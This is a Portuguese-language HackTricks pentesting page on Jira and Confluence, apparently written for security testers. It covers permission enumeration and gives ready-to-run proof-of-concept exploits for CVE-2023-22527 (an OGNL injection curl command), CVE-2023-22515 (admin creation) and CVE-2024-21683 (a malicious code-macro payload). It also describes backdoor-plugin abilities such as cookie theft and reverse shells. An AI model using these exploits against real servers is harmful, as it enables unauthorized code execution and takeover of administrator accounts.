Jira & Confluence

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Verificar Privilégios

No Jira, os privilégios podem ser verificados por qualquer usuário, autenticado ou não, através dos endpoints /rest/api/2/mypermissions ou /rest/api/3/mypermissions. Esses endpoints revelam os privilégios atuais do usuário. Uma preocupação notável surge quando usuários não autenticados possuem privilégios, indicando uma vulnerabilidade de segurança que poderia potencialmente ser elegível para um bounty. Da mesma forma, privilégios inesperados para usuários autenticados também apontam para uma vulnerabilidade.

Uma importante atualização foi feita em 1 de fevereiro de 2019, exigindo que o endpoint ‘mypermissions’ inclua um parâmetro ‘permission’. Esse requisito visa aumentar a segurança especificando os privilégios que estão sendo consultados: check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Exemplo: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Enumeração automatizada

RCEs recentes & notas práticas de exploit (Confluence)

CVE-2023-22527 – unauthenticated template/OGNL injection (10.0)

  • Afeta Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. O template Velocity vulnerável text-inline.vm permite avaliação OGNL sem autenticação.
  • PoC rápido (comando é executado como usuário confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • O cabeçalho de resposta x-cmd conterá a saída do comando. Substitua id por um reverse shell payload.
  • Scanner: nuclei template http/cves/2023/CVE-2023-22527.yaml (disponível em nuclei-templates ≥9.7.5).

CVE-2023-22515 – reativação de setup e criação de admin (auth bypass)

  • Confluence Data Center/Server 8.0.0–8.5.1 acessível publicamente permite alternar setupComplete e re‑executar /setup/setupadministrator.action para criar uma nova admin account.
  • Fluxo mínimo do exploit:
  1. GET /server-info.action (não autenticado) para garantir que está acessível.
  2. POST /server-info.action com parâmetros buildNumber para alternar a setup flag.
  3. POST /setup/setupadministrator.action com fullName, email, username, password, confirm para criar um admin.

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Confluence Admin pode fazer upload de uma definição de linguagem craftada em Configure Code Macro; o Rhino engine executa Java embutido, levando a RCE.
  • Para um shell, faça upload de um arquivo .lang contendo um payload como:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • Aciona ao selecionar a linguagem maliciosa em qualquer corpo de Code Macro. O módulo Metasploit exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 automatiza auth + upload + exec.

Plugins do Atlasian

Como indicado neste blog, na documentação sobre Plugin modules ↗ é possível verificar os diferentes tipos de plugins, como:

Este é um exemplo do tipo de plugin macro:

Macro plugin example ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

É possível observar que esses plugins podem ser vulneráveis a vulnerabilidades web comuns como XSS. Por exemplo, o exemplo anterior é vulnerável porque está refletindo dados fornecidos pelo usuário.

Once a XSS is found, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) you can find some payloads to increase the impact of the XSS.

## Backdoor Plugin

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) descreve diferentes ações (maliciosas) que um plugin malicioso do Jira poderia executar. You can find [**code example in this repo**](https://github.com/cyllective/malfluence).

Estes são alguns dos actions que um plugin malicioso poderia executar:

- **Hiding Plugins from Admins**: É possível ocultar o plugin malicioso injetando algum front-end javascript
- **Exfiltrating Attachments and Pages**: Permitir o acesso e exfiltration de todos os dados.
- **Stealing Session Tokens**: Adicionar um endpoint que vai ecoar os headers na resposta (com o cookie) e algum javascript que irá contatá-lo e leak the cookies.
- **Command Execution**: Claro que é possível criar um plugin que irá executar código.
- **Reverse Shell**: Ou obter um reverse shell.
- **DOM Proxying**: If the confluence is inside a private network, it would be possible to establish a connection through the browser of some user with access to it and for example contact the server command executing through it.

## Referências

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporte o HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
>
> </details>